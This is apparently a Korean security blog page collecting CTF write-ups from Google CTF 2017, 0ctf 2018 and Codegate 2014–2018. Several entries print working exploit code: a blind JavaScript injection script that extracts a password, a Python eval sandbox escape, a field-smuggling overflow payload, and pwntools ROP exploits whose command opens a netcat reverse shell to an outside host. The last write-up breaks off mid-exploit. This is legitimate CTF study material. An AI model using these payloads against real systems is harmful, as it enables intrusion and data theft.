CTF Writeup
- Google CTF 2017 ascii art writeup 2018.04.18
- 0ctf 2018 - LoginMe Writeup 2018.04.10
- codegate 2018 miro writeup 2018.02.06
- codegate 2018 Impel Down writeup 2018.02.06
- codegate 2018 - rbsql writeup 2018.02.06
- Codegate 2017 - babypwn 2017.02.28
- Codegate 2014 pwn 250 Writeup + pwntools 연습 2016.12.16
Google CTF 2017 ascii art writeup
Google CTF 2017 - ASCII Art Writeup
이번에는 리버싱 문제중 하나인 aart 를 풀어 보았다. 결론부터 말하면 허무하게 풀려버렸다;
이번 문제는 바이너리와 패킷 덤프가 주어졌다.
# file aart_client
aart_client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=220420b2d90546e195ca6df0119e299f3ad28514, stripped
바이너리를 IDA 로 열어보면 protobuf 관련 클래스가 많이 나오는데, 검색해 보니 객체 등의 다양한 자료들을 송수신 하게 해주는 google 에서 만든 라이브러리이며 게임 등 실무에서도 많이 사용된다고 한다.
패킷을 열어보면 바이너리와 서버가 주고 받은 패킷임을 알 수 있는데, 자세히 보면 내용이 동일한 패킷이 주기적으로 보내진 것을 알 수 있다. 아마도 바이너리의 HELLO 문자열과 관련된 패킷일 것으로 생각된다.
즉 HELLO -> Message 전송의 형식으로 통신을 한 것으로 볼 수 있다.
처음엔 바이너리를 좀 분석하다가... 실행하려면 서버가 필요해서 웹서버를 만들어서 시뮬레이션(?) 해 보기로 했고, 아래와 같이 간단히 코딩하여 소켓으로 응답을 돌려줬다.
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import SocketServer seq = 0 msg_0 = '''787e7f756d667e7c7c15787e70746d667e7c232b4c5c57405554435d5851555b5549505a554e405b545c4f51405c545b4f5449432b193931''' msg_1 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b97716690a061e1d171f1b091112031f101f041a111f160a1b1e1605110a1e1e0905530370617b''' msg_2 = '''787e7f756d667e7c7c15787e70746d667e7c232b4e564150525b5d5e57504b5e48405558534158505141494a564d515848564b562b193931''' msg_3 = '''037e6c612e496c67446c3c2e7168746c772e6c6c2e65667a6d686e6c652e2e6c6c772e6f2e6262702e746277576b457840571931746c7b6a686167646d6a7164727a6f62697b626a6b7b73706c776b62726c716c11230b7a''' msg_4 = '''787e7f756d667e7c7c15787e70746d667e7c232b53545f485c515349545449564e4f4f554353485a4d504e4d50404d545c5c514f2b193931''' msg_5 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b9771e6902191b1503161e191c1e05031f04190510091a0207070a041e1a16070516531b70617b''' msgs = [msg_0, msg_3, msg_2, msg_1, msg_4, msg_5] class S(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): self._set_headers() self.wfile.write("<html><body><h1>hi!</h1></body></html>") def do_HEAD(self): self._set_headers() def do_POST(self): # Doesn't do anything with posted data global seq self._set_headers() print self.rfile.read(int(self.headers['Content-Length'])) self.wfile.write(msgs[seq]) seq += 1 def run(server_class=HTTPServer, handler_class=S, port=80): server_address = ('', port) httpd = server_class(server_address, handler_class) print 'Starting httpd...' httpd.serve_forever() if __name__ == "__main__": from sys import argv if len(argv) == 2: run(port=int(argv[1])) else: run()
그러자... 아스키 비행기가 나왔다.
# ./aart_client 127.0.0.1
_ _
/_| |_\
//|| ||\\
// || || \\
// ||___|| \\
/ | | \ _
/ __| |__ \ /_\
/ .--~ | | ~--. \| |
/.~ __\ | | / ~.| |
.~ `=='\ | | / _.-'. |
/ / \| |/ .-~ _.-'
| +---+ \ _.-~ |
`=----.____/ # \____.----='
[::::::::| (_) |::::::::]
.=----~~~~~\ /~~~~~----=.
| /`---'\ |
\ \ / \ / /
`. / \ .'
`. /._________.\ .'
`--._________.--'
그리고...몇번 더 실행해보니 플래그가 나왔다 -_-;;;;;
# ./aart_client 127.0.0.1
CTF{That-was-a-lot-of-monkey-foot-work?-Good-Job!}
다른 풀이를 찾아보니 이건 꼼수고.. 제대로 된 풀이는 protobuf 프로토콜을 분석해서 flag 헥스값을 디코딩해서 키를 추출하는 식이었다. 어쨌든 풀었으니 이건 다음에 -_-;
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
0ctf 2018 - LoginMe Writeup
0CTF2018 - LoginMe
참가는 못했지만 나중에 접속해서 0ctf 2018 문제중 하나인 LoginMe 를 풀어보았다.
I didn't participate but I tried to solve LoginMe which is one of 0ctf 2018 tasks.
https://ctf.0ops.sjtu.cn/login#task-28
웹 로그인 창 하나가 주어지고, 소스코드도 주어졌다.
web login window is given, and the source code is given.
# loginme.js
var express = require('express') var app = express() var bodyParser = require('body-parser') app.use(bodyParser.urlencoded({})); var path = require("path"); var moment = require('moment'); var MongoClient = require('mongodb').MongoClient; var url = "mongodb://localhost:27017/"; MongoClient.connect(url, function(err, db) { if (err) throw err; dbo = db.db("test_db"); var collection_name = "users"; var password_column = "password_"+Math.random().toString(36).slice(2) var password = "xxxxxxxxxxxxxxxxxxxxxx"; // flag is flag{password} var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')}; myobj[password_column] = password; dbo.collection(collection_name).remove({}); dbo.collection(collection_name).update( { name: myobj.name }, myobj, { upsert: true } ); app.get('/', function (req, res) { res.sendFile(path.join(__dirname,'index.html')); }) app.post('/check', function (req, res) { var check_function = 'if(this.username == #username# && #username# == "admin" &&
hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}'; for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k])) } var query = {"$where" : check_function}; var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}} dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){ if(e) throw e; res.send('ok'); // ... implementing, plz dont release this. }); }) app.listen(8081) });
코드를 보면 node js 의 웹 프레임워크인 express 를 이용한 웹 서버임을 알 수 있다. 코드중 중요한 부분은 아래와 같다.
web server using express module, the web framework of node js. An important part of the code is:
1) password 칼럼명이 랜덤하게 바뀜
password column name changes randomly
ex)
this.password_qqxnativaup
this.password_kt1g716pi4
2) 내가 입력한 request 변수와 값을 이용해서 nodejs 코드가 동적으로 만들어진 후 실행됨
nodejs code is dynamically created and executed using the request variable and value I entered
for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k]))
}
ex) (POST) username=admin&password=123 로 전송하면 아래와 같이 동적으로 구문을 만들어줌
send "username=admin&password=123", server dynamically generates the code as shown below.
- for 문을 돌면서 차례대로 #username# => admin, #password# => 123 으로 입력
after running for loop, #username# => admin, #password# => 123
k:username
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_qqxnativaup){
return 1;
}else{
return 0;}
k:password
if(this.username == "admin" && "admin" == "admin" && hex_md5("123") == this.password_qqxnativaup){
return 1;
}else{
return 0;}
결론적으로 입력값에 # 을 삽입하면 저 구문을 꼬이게 할 수 있다는 뜻이다.
In conclusion, it's possible inserting '#' in the input value to attack.
하지만 소스상에서 #, ), ( 문자는 아래 소스코드에 의해 필터링이 되고 있다.
but #, ), ( characters are filtered by the source code below.
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
이 필터링은 배열로 값을 보내면 우회가 가능하다. ( username[] = 123 )
filter can be bypassed by sending an array instead of a value.
다양한 삽질 끝에 아래와 같은 방식으로 SQLi 처럼 Blind 방식의 node js 코드 인젝션이 가능함을 확인했다.
After various attempts, I confirmed that node.js code injection of blind method like SQLi is possible in the following way.
True: username[]=admin#test&test.*md5.[]=] || 'a'=='a' ? 1 : alert() || (#pass&pass.*=test&password=555 False: username[]=admin#test&test.*md5.[]=] || 'a'=='b' ? 1 : alert() || (#pass&pass.*=test&password=555 |
참일 때는 에러가 나지 않도록 하고, 거짓일 때는 alert(없는 메소드라고 에러발생) 을 이용해서 에러를 발생시켰다.
If true no error, if false an error is output.
아래처럼 입력한 자바스크립트 구문이 참일 때만 ok 가 오고, 거짓일땐 서버 에러가 발생해서 응답이 오지 않는다.
It only be 'ok' if the JavaScript syntax is true, and if it is false, get a server error and no response.
이제 스크립트를 작성해서 플래그를 한글자씩 뽑아오면 끝!
Now, write a simple python script and get the flags one by one!
# exploit_loginme.py
#!/usr/bin/python from socket import * import time #target = ('202.120.7.194', 8081) target = ('127.0.0.1', 8081) def request(p): c = socket(AF_INET, SOCK_STREAM) try: c.connect(target) except: time.sleep(0.2) c.connect(target) req = '''POST /check HTTP/1.1 Accept-Encoding: gzip, deflate Content-Length: {} Host: 127.0.0.1:8081 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko {} '''.format(len(p)+2,p) #print req c.send(req) res = c.recv(300) #print res try: t = res.index('ok') return True except: return False ### flag length - 32 #param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].length == 32 ? 1 : alert() || (#pass&pass.*=test' #print request(param) ### flag flag = '' for i in range(32): for j in range(48,127): param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].substr({},1).charCodeAt() == {} ? 1 : alert() || (#pass&pass.*=test'.format(i,j) print "[*] trying.." + param if request(param): print '\n==================' print chr(j) flag += chr(j) print '\n==================' break time.sleep(0.4) print "[+] flag: \nflag{" + flag + "}"
끝!
the end!
ps. node js 를 CTF 때만 간혹 보고 거의 안써봐서 조금 헷갈렸던 문제였다..공부해야지!
'CTF Writeup' 카테고리의 다른 글
Google CTF 2017 ascii art writeup (0) | 2018.04.18 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
codegate 2018 miro writeup
하다보니 다음 문제.. 이번 문제는 Miro(crypto) 다. 자신없는 암호 문제지만 도전!
Miro
주어진 파일은 miro.pcap, client.py 2개다. 하나는 패킷인데 TLS 암호화 패킷이고, client.py 는 미로 게임에 접속하는 클라이언트이다.
문제 서버에 접속하면 미로 게임을 풀어야 하는데 l, r, u, d 4 개의 방향을 이용하여 움직여야 한다. 문제는 주어진 클라이언트는 r, d 만 있다는 것.
결국 miro.pcap 을 decrypt 하는 수밖에 없다. 검색을 해 보니 최근에 이런 비슷한 문제가 출제되었던 것을 확인할 수 있었고, 동일한 방식으로 풀이가 가능했다.(링크 참고)
https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/%5B%5Droot
hello packet 중 server hello 에 certificate 정보가 포함되어 있고, 그 안의 modulus 를 이용하여 인수분해가 가능하다는 내용이다.
공개된 소스를 이용하여 돌리니 수초만에 아래와 같이 p, q 가 분해(?) 되어 나왔다.
이제 정보가 있으니 rsatool 을 이용하여 인증서를 만들어 주면 끝난다.
hyunmini@~/Desktop/06.CTF/2018/codegate$ python ./rsatool.py -p 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260880628723893508382860291986009694703181381742497 -q 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027 -e 65537 -o priv.pem Using (p, q) to initialise RSA instance n = 1c20bdc017e3caa3c579b40d439e2ecd70f12c4d7f2764784c95a3fddba00981ba9ce5b227ade47b 0a7a0a8acaba4541ab95c52f6b6de3df9ec090c6c356445b21be437abe10214d0b4a398a96743bbf 70c864687fb2ec929f01d6edab2d987fe09799ad2204a2704f33061dbf9c2e03b332f0ba1a446644 c864a06cd586d480b e = 65537 (0x10001) d = 1a5c9d3a21a9be4b8b52aaeb1b8a6f36e039485a4167bc03fb52ebe58a270d81e65211fcccaf6f49 d9e1d36b8ce0d2f3df4a790a1e575990458b18a51082138265f3b909c7155c173def686e4387b98a 9fe6ec917551d8095783b21eb98798ffb1324957b6dbf944ce591c8099a1e2f4787a28804c995964 c059d02749dfe5b81 p = 1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c6a8184e3f75c6f3786c 0832d301372ad3165d600adf637cda4efbc99adb6185bafa1 q = 1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c5fe0d14ef4f564011aa 270cd326b5dcc69fb2bd76673357a9fa1399581abc231c82b Saving PEM as priv.pem |
이렇게 만든 인증서를 wireshark 에 넣어주면 decrypt 된 패킷을 볼 수 있다.
TLS 패킷 우클릭 - RSA Key List - + 버튼 누르고 아래처럼 적어주면 된다.
192.168.18.129, 443, ssl, priv.pem
그러면 이제 해독된 패킷 내용을 살펴보자. l, r, u, d 모든 패킷을 확인할 수 있고, 이 확인한 명령어를 이용하여 코드를 수정해 준 후 미로를 풀어주면 된다.
이미 서버가 죽어있어서 플래그는 확인할 수 없었으나 물어보니 이렇게들 풀었다고 한다.(?)
while 1: data = recv_until(tls_client, "Input : ") print data #message user_input = raw_input() if user_input == "u": tls_client.send("9de133535f4a9fe7de66372047d49865d7cdea654909f63a193842f36038d362\n") elif user_input == "d": tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n") elif user_input == "r": tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n") elif user_input == "l": tls_client.send("27692894751dba96ab78121842b9c74b6191fd8c838669a395f65f3db45c03e2\n") else: print "Invalid input!" exit()
끝.
'CTF Writeup' 카테고리의 다른 글
Google CTF 2017 ascii art writeup (0) | 2018.04.18 |
---|---|
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
codegate 2018 Impel Down writeup
풀이 시작한 김에 몇개 더 풀어봤다. 다음 문제는 impel down 이다.
Impel Down
# impel_down_ex.py from pwn import * import pickle import os r = remote('localhost',9999) print r.recvuntil('Name : ') #name = "().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')".encode('hex') name = "__import__('os').system('ls -al')".encode('hex') r.sendline(name) print r.recvuntil('#\n') print r.recvuntil('#\n') cmd="dig(),eval(your.name.decode('hex'))," print cmd r.sendline(cmd) print r.recv(500) print r.recv(500) =======
실행결과
======
################## Work List ################## coworker : Find Coworker For Escape tool : Find Any Tool dig : Go Deep~ bomb : make boooooooomb!!! ############################################### dig(),eval(your.name.decode('hex')), 5f5f696d706f72745f5f28276f7327292e73797374656d28276c73202d616c2729 : [Dig] depth = 1 total 16 drwxr-xr-x 2 root root 4096 Feb 5 22:30 . drwxr-xr-x 4 root root 4096 Feb 5 22:30 .. -rw-r--r-- 1 root root 3889 Feb 5 22:24 Impel_Down.py -rw-r--r-- 1 root root 121 Feb 5 22:30 run.sh
풀이한 시점에는 서버가 닫혀서 플래그는 없으나 cat /flag 등으로 플래그 확인이 가능했다고 한다.
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
Codegate 2014 pwn 250 Writeup + pwntools 연습 (0) | 2016.12.16 |
codegate 2018 - rbsql writeup
코게 2018 예선문제 풀이.
사정이 있어서 풀타임 참석은 못하고 저녁에 좀 풀고, 대회 끝나고 나서 서버가 닫히기 전에 웹문제만 풀어봤다.
rbsql
접속해 보니 아주 익숙한(몇년째 대회에서 보고있는 -_-;;;) 홈페이지가 나온다.
소스코드가 주어져서 분석을 해보니, 데이터베이스 대신 파일을 DB 로 사용하는 웹사이트이다.
회원 가입 시 스키마 파일에 파일명을 추가하고, 테이블 대신 파일을 생성한다.
그리고 생성된 파일에 특정 포맷으로 데이터를 저장하고 읽어온다. 결국 그 과정에서 어떤 취약점이 발생할 것으로 생각했다.
스키마 파일은 제공되지 않아서 직접 만들어 주었다.(md5 형님 제공)
소스 코드를 분석해보니 포맷은 아래와 같았다.
문자 : \x01 + 길이(1byte) + 문자
배열 : \x02 + 길이(1byte) + 문자 또는 배열,...
그리고 파싱함수(rbParse) 를 살펴보면 저 위의 포맷대로 파싱해서 값을 읽어온다.
문제는, 길이값이 1byte 라는 것. 1byte 인 데다가 256 글자까지 입력이 가능하므로, 256 글자를 입력하면 \xff + 1 = \x00 이 된다.
hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(255);' | xxd
00000000: ff .
hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(256);' | xxd
00000000: 00
즉, 길이값의 인티저 오버플로우를 이용하면 그 다음 항목을 마음대로 조작할 수 있다는 것이다.
umail 에 256 글자를 집어넣으면 파싱할때 길이값이 0이므로 umail 은 바로 파싱이 끝나고 다음 항목으로 넘어가게 되는데,
이때 ip 와 level 을 조작할 수 있다. 가장 중요한 것은 level 을 2 로 바꿔주는 것이다.(admin)
umail: '\x01\x20c4ca4238a0b923820dcc509a6f75849b\x01\x0dx.x.x.x\x01\x32' + 'AAAAAAAA...' (전체 256 글자)
요렇게 해서 보내면 된다.
아래는 python 코드
요렇게 가입하고 로그인하면 flag 가 뙇
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
Codegate 2014 pwn 250 Writeup + pwntools 연습 (0) | 2016.12.16 |
Codegate 2017 - babypwn
육아 때문에 최근 공부를 거의 못하고 있으나...pwnable 만은 놓지 않기 위해 시간날때마다 조금씩이라도 풀어보려 노력중이다. ㅠ
babypwn 은 Codegate 2017 prequal 에 출제 되었던 문제이다. 문제 환경도 잘 모르겠고 세팅하기 귀찮으니
대충 있는 리눅스 가상머신에 올려서 풀었다.
>>> print e.checksec()
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
stack canary 와 NX 가 걸려있다. fork() 를 해주기 때문에 aslr 은 큰 의미는 없다. canary 역시 fork() 때문에 재실행 전까지는 동일하다.
이런 유형의 문제는 보통 leak 가 가능하도록 되어있으므로 확인해 보자.
일단 0x8048907() 함수 내부에서 recv 로 입력값을 받는데, v2 버퍼는 0x28(40) byte 밖에 안되는데 0x64(100) 을 입력받고 있다.
그로인해 60바이트만큼 오버플로우가 발생한다.
하지만 버퍼 바로 아래에 canary 가 있어서 리턴 직전 확인하고 있으므로 (ssp 보호기법) 먼저 canary 를 leak 해야 한다.
canary 와 버퍼가 붙어있으므로 AAAA|canary 요렇게 빈틈없이 채워주면 message 를 출력해줄때 canary 까지 같이 출력하게 할 수 있다.
# leak.py
#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) print hexdump(r.recv(1024))
hyunmini:codegate2017 $ python babypwn.py
[*] codegate 2017 babypwn exploit by hyunmini
[*] Loaded cached gadgets for './babypwn'
[*] stage 0 : leak canary
[+] Opening connection to 192.168.231.128 on port 8181: Done
▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒
▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu >
Input Your Message :
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 61 61 61 61 61 61 61 61 61 75 16 35 f4 ff 75 b7 │aaaa│aaaa│au·5│··u·│
00000030
[*] Closed connection to 192.168.231.128 port 8181
붉게 표시된 부분이 leak 된 canary 값이다. 40 바이트만 찍어도 나와야 하는데 41바이트 찍어야 나오는 걸로 봐서
canary 첫번째 바이트는 0x00 임을 알 수 있다.
즉, 0x35167500 일 것이다.(little endian 이니)
이제 전체적인 rop exploit 을 구성해서 공격하면 된다.
간단하게 recv 함수로 bss 영역에 인자값을 입력받고, system 함수의 인자값으로 사용할 것이다.
pwntools 쓰면 요렇게 두줄로 간단하게 할 수 있다.
조금 살펴보니 pwntools 가 아래처럼 입력하면 알아서 ppr, pppr 넣어주고, plt 에 해당 함수 있으면 plt 호출,
없으면 srop 를 해준다. srop 도 안되면 에러를 내뿜는다.
rop.recv(0x4,e.bss(),len(cmd)+1,0x0) rop.system(e.bss())
아래는 전체 코드이다.
babypwn
#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) recv_buf = r.recv(1024)[41:44] print hexdump(recv_buf) canary = u32('\x00' + recv_buf) log.info("found canary : 0x%x" % canary) cmd = "nc.traditional -e /bin/sh 192.168.231.1 7777" #cmd = "cat flag | nc 192.168.231.1 7777" rop.recv(0x4,e.bss(),len(cmd)+1,0x0) rop.system(e.bss()) payload = 'A'*40 + p32(canary) + 'B'*12 + rop.chain() + '\n' log.info("stage 1 : eip control") p = remote("192.168.231.128",8181) print p.recvuntil('menu > ') p.send('1\n') print p.recvuntil('Message : ') p.send(payload + '\n') print p.recvuntil('menu > ') p.send('3\n') p.send(cmd)
# ./babypwn.py
=============================================
hyunmini:codegate2017 $ nc -lv 7777
ls
babypwn
cd ..
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2014 pwn 250 Writeup + pwntools 연습 (0) | 2016.12.16 |
Codegate 2014 pwn 250 Writeup + pwntools 연습
Pwntools
CTF 문제 풀이용 Framework 인 pwntools(pwnlib) 를 그동안 제대로 활용하지 못하고 있었는데(접속과 쉘코드 정도만 사용), 다양한 기능 연습 겸 최대한 pwntools 를 써가며 이전 pwnable 문제들을 풀어보기로 했다.
angry_doraemon (Codegate 2014, pwn 250 문제)
□ description
==========================================
OS : Ubuntu 13.10 x86
IP : 58.229.183.18 / TCP 8888
http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9
==========================================
□ number of solvers : 57
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 06:16)
2 : ppp (02/23 06:22)
3 : stratumauhuur (02/23 06:28)
실행시켜보면 도라에몽과 싸우는 텍스트 게임이다.
바이너리 보호기법 확인
먼저 바이너리에 적용된 보호기법을 살펴보자. checksec 스크립트 대신 아래와 같이 한줄로 대신할 수 있다.
#> python -c 'from pwn import *;ELF("./angry_doraemon")'
쓰고보니 이게 더 귀찮네..-.-;
Stack Canary (SSP 보호기법) 가 적용되어 있으며, NX 도 적용되어 있는 것을 볼 수 있다. 물론 Ubuntu 13.10 이므로 ASLR 적용
적용된 보호기법을 확인했으니 취약점이 발생하는 부분을 찾아 보도록 하자.
취약점 분석
IDA로 살펴보면 아래와 같이 4번 메뉴 입력값을 받을 때 read() 함수에서 할당된 버퍼보다 더 큰 수만큼 읽어오기 때문에 bof 취약점이 밟생하는 것을 확인할 수 있다.
buf 변수는 4바이트밖에 안되는데 110 바이트를 입력받고 있다. 기초적인 bof 문제같지만 SSP 보호기법 때문에 stack canary 가 존재한다. 스택에 stack canary 가 존재하며, 이를 검사하여 다른 값으로 덮어씌워졌을 경우 bof 로 판단하여 조작된 리턴주소로 점프하지 않고 에러를 내뱉는다. 윈도우 계열에서는 SEH Overwrite 를 이용하여 우회가 가능한 보호기법인데, linux 의 경우 SEH 가 존재하지 않으므로 다른 방법으로 우회해야 한다.
풀리라고 만든 문제인 만큼 대부분 바이너리에서 어떤 방법으로든 우회가 가능하게 구성이 되어있다. 이 바이너리의 경우에는 바로 아래쪽에 있는 sprintf 함수를 이용하면 우회가 가능하다. buf 를 출력해 주고 있는데, sprintf 함수는 널바이트를 문자열의 끝으로 인식하므로 canary 까지 널바이트가 없도록 쓰레기값으로 채워주면 canary 까지 출력이 된다.
| buf | ..... | canary |
abcd\x0
sprintf(buf) => abcd
==================================================
| buf | ..... | canary |
aaaaaaaaaaaaaaa| canary |
sprintf(buf) => aaaaaaaaaacanary
간단하게 코드를 작성하여 보면 예상대로 canary 값을 얻을 수 있다. 이 값은 fork() 로 인해 변하지 않으므로 한번 확인한 값을 계속 사용하면 된다. fork() 는 부모 프로세스 메모리 주소를 그대로 받아서 사용하므로 바이너리가 재 실행 되기 전까지는 변하지 않는다.
# leak.py
#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')
print "[+] angry_doraemon exploit by hyunmini"
SIP = '192.168.182.202'
SPORT = 8888
e = ELF('./angry_doraemon')
# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary
canary 를 출력하기 위해서 10 byte 를 채워주면 되지만 실제로 y*10 을 하면 canary 값이 전송되지 않는 것으로 보아 첫번째 canary byte 는 '\x00' 임을 알 수 있다.
이제 canary 값을 구했으니 일반적인 ROP Exploit 을 작성하면 된다.
# pwn_rop.py
#!/usr/bin/python
import time
from pwn import *
context(arch='x86', os='linux', endian='little')
print "[+] angry_doraemon exploit by hyunmini"
SIP = '192.168.182.202'
SPORT = 8888
e = ELF('./angry_doraemon')
rop = ROP(e)
rop2 = ROP(e)
offset = 0x8bd80 # write - system
bss = e.bss() # writable addr
# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary
# Stage 1 : leak Exploit
print '\n\n\n ### Stage 1 : leak write addr... \n\n\n'
r2 = remote(SIP ,SPORT)
print r2.recvuntil('>')
r2.send('4')
print r2.recvuntil(' ')
sleep(0.1)
